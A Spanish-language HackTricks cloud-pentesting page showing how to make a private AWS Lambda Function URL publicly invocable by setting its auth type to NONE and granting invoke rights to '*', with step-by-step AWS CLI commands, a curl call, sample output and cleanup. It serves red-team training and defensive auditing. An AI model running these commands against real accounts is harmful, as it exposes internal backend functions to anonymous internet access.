AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Convierte una Function URL de Lambda privada en un endpoint p煤blico no autenticado cambiando el AuthType de la Function URL a NONE y adjuntando una policy basada en recursos que otorgue lambda:InvokeFunctionUrl a todos. Esto permite la invocaci贸n an贸nima de funciones internas y puede exponer operaciones sensibles del backend.

Explotaci贸n

  • Requisitos previos: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
  • Region: us-east-1

Pasos

  1. Aseg煤rate de que la funci贸n tenga una Function URL (por defecto AWS_IAM):
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
  1. Cambia la URL a p煤blica (AuthType NONE):
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
  1. A帽ade una declaraci贸n de policy basada en recursos para permitir principals no autenticados:
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
  1. Recupera la URL e invoca sin credenciales:
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"

Impacto

  • La funci贸n Lambda pasa a ser accesible de forma an贸nima a trav茅s de internet.

Ejemplo de salida (200 no autenticado)

HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}

Limpieza

aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks